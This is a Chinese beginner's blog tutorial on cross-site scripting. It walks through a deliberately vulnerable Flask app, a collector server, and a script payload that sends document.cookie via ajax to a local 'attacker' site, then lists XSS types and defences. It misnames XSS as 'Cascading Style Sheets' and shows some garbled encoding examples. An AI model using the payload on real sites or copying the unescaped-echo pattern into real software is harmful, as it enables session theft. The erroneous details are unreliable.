Web安全-XSS攻击 基本了解
2019-09-28 本文已影响0人
dawsonenjoy
介绍
XSS(Cascading Style Sheets, CSS)攻击,即跨站脚本攻击,是指通过将js代码(也不一定只有js代码,但基本都是)嵌入到网页当中,从而执行某些恶意脚本以达到盗取用户cookie、页面私密内容或者执行某些恶意操作等目的。
产生原因
由于浏览器会自动解析执行后端返回的代码,包括html、css、JavaScript等,因此如果将一串js代码由后端返回,那么会发生什么事?很显然这些代码将会被执行(如果没有禁用js的话),比如下面这串后端代码(为了简易模拟,本文的后端功能都由flask实现):
from flask import Flask, request, redirect
app = Flask(__name__)
@app.route('/')
def index():
return "<script>alert(document.cookie)</script>"
# 返回一段js代码
if __name__ == '__main__':
app.run(debug=True, port=5000)
显而易见,当访问地址127.0.0.1:5000/
时,页面会弹出cookie数据。
通过上面的代码示例,我们可以延伸出这样一种情况:当前台有一个输入框,比如留言板的留言输入,然后往这个留言板里写入js脚本代码并提交,后台如果没有对其进行校验就直接存入数据库,而当其他用户查看留言板的留言时,后台返回数据库中的留言,里面就包括这串js代码,那么用户就在查看留言板的同时,不经意间也执行了这串js代码,简单说明步骤就是:
留言板上传js代码 -> 后台将js代码存入数据库 ->用户查看留言板 ->
后台返回查询的数据(包括js代码) -> 用户访问的前台执行js代码
再简化步骤就是:
上传js代码到后台 -> 后台返回js代码 -> 前台执行返回的js代码
这样就存在比如用户cookie会暴露之类的危险,接下来来个简单示例模拟上面的情况:
简单示例
受攻击的网站:x(本地端口:5000)
from flask import Flask, request, redirect
app = Flask(__name__)
g = None
# 全局变量
@app.route('/')
def index():
'''这是一个表单页面'''
html = """
<form action="/set" method="get">
<input type="text" name="name">
<input type="submit">
</form>"""
return html
@app.route('/set')
def set():
'''将数据存入数据库(这里用全局变量来模拟)'''
global g
data = request.args.get("name")
g = data
print("设置g的值为:{}".format(g))
return redirect("/get")
@app.route('/get')
def get():
'''获取数据库的数据(这里用全局变量来模拟),并返回到页面'''
global g
return g
if __name__ == '__main__':
app.run(debug=True, port=5000)
接收泄露数据的网站:y(本地端口:6666)
from flask import Flask, request
app = Flask(__name__)
@app.route('/get')
def get():
data = request.args.get("data")
print("获取受攻击网站传来的数据:{}".format(data))
return str({"status": 200})
if __name__ == '__main__':
app.run(debug=True, port=6666)
模拟测试
- 步骤一:现在来同时运行网站x和网站y,然后进入网站x的主页:
127.0.0.1:5000/
,然后在输入框里输入以下脚本:
<script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.js"></script>
<script>
$.ajax('http://127.0.0.1:6666/get', {
type: 'get',
data: {
data: document.cookie
}
});
</script>
该脚本的功能就是导入jquery框架,然后通过ajax将本地用户的cookie发送到网站y中
- 步骤二:上传表单后,观察网站y的后台,可以发现命令行中输出了访问网站x的用户的cookie信息
XSS危害
- 盗取用户cookie、私密数据等
- 挂马
- 执行恶意操作
- ddos攻击其他网站
- ...
XSS类型
XSS攻击的类型主要分为三种,介绍如下:
- 反射型:即非持久型,直接使服务端返回脚本在前台执行,前面的示例如果使用的是一次性变量就是这种类型
- 持久型:将脚本代码存在后台,比如数据库,然后再返回给前台,前面的示例模拟的就是这种类型(将全局变量假装成数据库就是了)
- DOM型:基于DOM或者本地XSS攻击,比如本地js里的
eval
语句
注:
前两种往往是后端服务器的问题,第三种是前端导致的问题
XSS防御
上面的示例就是一个简单的XSS攻击场景,为了防御这种攻击,应该怎么做呢?下面列出几种常见的防御方法:
- 对于输入的数据过滤
<script>
这类敏感的字符(当然不是单纯的只过滤<script>
字符串,别人有各种方法能拼成脚本代码...),我们要做的就是避免js脚本的传入,比如过滤:>
、<
、;
...(但也要根据情况来过滤,比如别人留言板内容就是要进行大于小于的比较总不能给人禁了>
、<
吧) - 对于输出的数据进行编码,比如
>
编码成<
- 设置cookie数据为
http-only
,此时就无法再用js语句来获取用户cookie了